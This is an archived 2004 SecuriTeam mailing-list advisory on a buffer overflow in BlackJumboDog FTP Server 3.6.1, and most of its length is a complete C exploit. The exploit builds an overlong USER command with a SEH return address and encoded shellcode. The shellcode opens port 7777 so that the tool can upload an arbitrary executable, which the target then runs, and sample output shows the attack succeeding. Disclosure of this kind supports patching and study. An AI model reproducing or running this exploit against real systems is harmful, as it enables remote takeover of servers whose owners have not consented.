

[EXPL] BlackJumboDog FTP Server Remote Code Execution

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-09/0033.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 09/14/04

To: list@securiteam.com

Date: 14 Sep 2004 18:14:18 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

BlackJumboDog FTP Server Remote Code Execution

SUMMARY

In a previously featured article,

<<http://www.securiteam.com/windowsntfocus/5AP040ADPW.html>> BlackJumboDog FTP Server Buffer Overflow, several buffer overflow vulnerabilities were found leading to remote code execution. Presented below is an exploit code that uploads an executable and runs it on the target system.

DETAILS

Vulnerable Systems:

* BlackJumboDog FTP server version 3.6.1

Immune Systems:

* BlackJumboDog FTP server version 3.6.2

Exploit:

/*

6.9.04|www.Delikon.de|Delikon

BlackJumboDog FTP Server Buffer Overflow version 3.6.1

<http://www.securiteam.com/windowsntfocus/5AP040ADPW.html>

Securiteam: [EXPL] BlackJumboDog FTP Server Remote Code Execution

Thx to Chew Keong TAN

```
C:\Codes\blackjumbodog\Release>bjdexploit 192.168.0.3 21 klein.exe
BlackJumboDog FTP Server Buffer Overflow version 3.6.1
http://www.securiteam.com/windowsntfocus/5AP040ADPW.html
Thx to Chew Keong TAN
```

Delikon|6.9.04|www.Delikon.de

```
[+] Connected.
220 FTP ( BlackJumboDog Version 3.6.1 ) ready
```

```
[+]Shellcode length: 461
[+] Sending the shellcode
[+] Sleeping
[+] Opening File
[+] File found ready to send
[+] Connected
[+] Sending executable.
```

```
....
[+] All done, server have now executed your executable!
[+] Have a nice day
```

*/

```
#include <stdio.h>
#include <string.h>
#include <winsock.h>
```

```
//opens a port on 7777
//where you can upload a exe
//after terminating the network connection to port 7777
//the exe gets executed
//you will find the asm sourcecode at www.delikon.de
//it also exits with ExitThread, so the shellcode don't crashes the
service
```

```
char shellcode[] = "\xEB"
"\x10\x58\x31\xC9\x66\x81\xE9\x4A\xFE\x80\x30\x88\x40\xE2\xFA\xEB\x05\xE8\xEB\xFF"
"\xFF\xFF\x61\xE0\x89\x88\x88\xD3\xDD\x01\x6D\xEE\x09\x64\xBC\x88\x01\x6E\xEE\x09"
"\x64\x84\x88\x60\x57\x88\x88\x88\x01\x4F\xDF\xE0\x06\xC6\x86\x64\x60\x63\x88\x88"
"\x88\x01\xCD\x80\x05\xDB\xB8\xDA\x77\xDD\x80\x01\xCD\x80\x05\xDB\xB3\x01\xDE\xBC"
"\xE2\x85xD1\xEE\x09\x71\x8F\x88\xFD\x8B\x03\xF5\x80\x01\x86\xDF\x77\xFC\x03\x74"
"\x60\x37\x88\x88\x88\x03\x86\x01\xCC\x06\x74\x6A\x6A\xEE\x09\x64\x18\x89\xDC\xE0"
"\x89\x89\x88\x88\x77\xDE\x8C\xB9\x77\xDF\xDF\xDF\xDF\xCF\xDF\xCF\xDF\x77\x9E\x01"
"\x4B\xB9\x77\xDF\xDF\xE0\x8A\x88\x96\xE9\x01\x6A\xE2\x98\xDA\xDB\x77\xDE\x80\xDF"
"\xDB\x77\xDE\x84\xDF\xDE\xDB\x77\xDE\x98\x01\x4B\xE2\x88\xE2\x8E\xE2\x8C\xE2\x88"
"\xE2\x8F\xE0\x88\x88\x88\x68\x77\xFE\xBC\x77\xDE\xAC\x01\x4F\x09\x64\x14\x77\x77"
"\x77\x01\x6D\x05\xDD\xEC\xE2\x88\xE0\xEC\x88\x88\x88\xDA\xDB\x77\xDE\x9C\xB5\x77"
"\x77\x77\x77\xFC\x9D\xB5\x88\x88\x88\x88\xFC\x86\x05\xDD\xEC\xE2\x88\xD9\xD8\xDA"
"\xDF\x77\xDE\xA0\x63\x5D\xDB\x77\xDE\x90\xDF\x77\xDE\xA4\xE0\x8D\x88\x88\x88\x77"
"\xFE\xBC\x77\xDE\xA8\xB9\x77\xDF\x77\xDE\x94\xDD\xDE\xEC\x29\xB8\x88\x88\x88\x03"
"\xC8\x84\x03\xF8\x94\x25\x03\xE0\x80\x01\x60\xD6\xD5\x4A\x8C\x88\xDB\xDD\xDE\xDF"
```

Securiteam: [EXPL] BlackJumboDog FTP Server Remote Code Execution

```
"\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x89\x62\x03\xC2\x90\x03\xD2\xA8\x89"  
"\x63\x6B\xBD\xC1\x03\xBC\x03\x89\x66\xB9\x77\x74\xB9\x48\x24\xB0\x68\xFC\x8F\x49"  
"\x47\x85\x89\x4F\x63\x7A\xB3\xF4\xAC\x9C\xFD\x69\x03\xD2\xAC\x89\x63\xEE\x03\x84"  
"\xC3\x03\xD2\x94\x89\x63\x03\x8C\x03\x89\x60\x61\x8A\x88\x88\x88\xB9\x48\x01\x62"  
"\xD7\xD6\xD5\xD3\x4A\x8C\x88\x60\x1B\x76\x77\x77\x51\x81\x7D\x25\x43\x65\x74\xB3"  
"\x2C\x92\xF8\x4F\x2C\x25\xA6\x61\x6D\xC1\x0E\xC1\x3E\x91\x90\x6F\x6F\xF1\x4E\xF1"  
"\x67\x46\x68\xE8\x10\x76\x02\x86\x2D\x9F\x88\xF4\x97\xF1\x82\x60\x73\x1F\x75\x87"  
"\xDF\xDB\xBA\xD7\xBB\xBA\xA6\xCC\xC4\xC4\x88\xDA\xB8\xB8\xFC\xA6\xED\xF0\xED\x88";
```

```
int fileupload(int port,char *FileName,char* ip){  
  
    FILE* file;  
  
    int sockfd, numbytes;  
  
    struct hostent *he;  
    struct sockaddr_in their_addr;  
    char buf[1024];  
    char *a=NULL;  
    int read=0;  
  
    printf("[+] Opening File\n");  
  
    file = fopen(FileName,"rb");  
    if (file==NULL) {  
        printf("[−] Open Failed\n");  
        return 0;  
    }  
    printf("[+] File found ready to send\n");  
  
    if ((he=gethostbyname(ip)) == NULL) { // get the host info  
        printf("[−] GetHostByName() Error!\n");  
        return 0;  
    }  
    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {  
        printf("[−] Can't open socket!\n");  
        return 0;  
    }  
    their_addr.sin_family = AF_INET; // host byte order  
    their_addr.sin_port = htons(port); // port  
    their_addr.sin_addr = *((struct in_addr *)he->h_addr);  
    //memset(&(their_addr.sin_zero), '\0', 8); // zero the rest of  
the struct  
    if (connect(sockfd, (struct sockaddr *)&their_addr,sizeof(struct  
sockaddr)) == -1) {  
        printf("[−] Connecting error\n");  
        return 0;  
    }  
    printf("[+] Connected\n[+] Sending executable.\n");  
  
    while (!feof(file)) {
```

Securiteam: [EXPL] BlackJumboDog FTP Server Remote Code Execution

```
    read = fread(buf,sizeof(char),sizeof(buf),file);
    Sleep(200);
    if ((numbytes=send(sockfd,buf,read,0)) == -1) {
    printf("[ - ] Sending executable failed\n");
    return 0;
    }
    printf(".");
}
printf("\n[ + ] All done, server have now executed your
executable!\n");
closesocket(sockfd);
WSACleanup();
return 1;
}

void banner(){
    printf("BlackJumboDog FTP Server Buffer Overflow version
3.6.1\nhttp://www.securiteam.com/windowsntfocus/5AP040ADPW.html\nThx to
Chew Keong TAN\n");
    printf("\nDelikon|6.9.04|www.Delikon.de\n");
}

void usage(){
    printf("\nBJDExploit HOST PORT FileToUpload\n");
}

#pragma lib <ws2_32.lib>
#pragma comment(lib,"ws2_32.lib")

int main(int argc,char *argv[]) {
    int sockfd, numbytes;
    //i have some problems with the ret-addresses
    //only this one worked
    //the SEH don't executes every address
    // but i don't know the reason
    DWORD RetAddr=0x6BD01395;
    /* SYNCOR11.DLL XP sp2 full patched english version
6BD01395 5E POP ESI
6BD01396 33C0 XOR EAX,EAX
6BD01398 5D POP EBP
6BD01399 C2 0800 RETN 8
*/

    struct hostent *he;
    struct sockaddr_in their_addr;

    char buf[1024];
    int read=0;

    WSADATA wsaData;
```

Securiteam: [EXPL] BlackJumboDog FTP Server Remote Code Execution

```
if(argc<3){
    banner();
    usage();
    exit(1);
}

banner();

if(WSAStartup(0x101,&wsaData))
{
    printf("[−] Unable to load winsock.\n");
    return −1;
}
if ((he=gethostbyname(argv[1])) == NULL) { // get the host info
    printf("[−] GetHostByName() Error!\n");
    return −1;
}
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == −1) {
    printf("[−] Can't open socket!\n");
    return −1;
}
their_addr.sin_family = AF_INET; // host byte order
their_addr.sin_port = htons(atoi(argv[2])); // port
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
//memset(&(their_addr.sin_zero), '\0', 8); // zero the rest of the
struct
if (connect(sockfd, (struct sockaddr *)&their_addr,sizeof(struct
sockaddr)) == −1) {
    printf("[−] Connecting error\n");
    return −1;
}
printf("\n[+] Connected.\n");
read=sizeof(buf);
numbytes=recv(sockfd,buf,read,0);
buf[numbytes]=0x00;
printf("%s \n",buf);

memset(buf,0x00,sizeof(buf));
Sleep(200);

strcpy(buf,"USER ");
memset(buf+strlen(buf),0x41,308);
memcpy(buf+strlen(buf),"\xeb\x06",2);
memset(buf+strlen(buf),0x41,2);
memcpy(buf+strlen(buf),&RetAddr,4);
strcat(buf,shellcode);
buf[strlen(buf)]=\x0a';

printf("[+]Shellcode length: %i \n",strlen(shellcode));
```

Securiteam: [EXPL] BlackJumboDog FTP Server Remote Code Execution

```
read =strlen(buf);
numbytes=send(sockfd,buf,read,0);
printf("[+] Sending the shellcode\n");
```

```
Sleep(2000);
printf("[+] Sleeping\n");
```

```
if(fileupload(7777,argv[3],argv[1]))
    printf("[+] Have a nice day\n");
```

```
closesocket(sockfd);
WSACleanup();
```

```
return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:jerome.athias@caramail.com>>
"JXrXme" ATHIAS.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.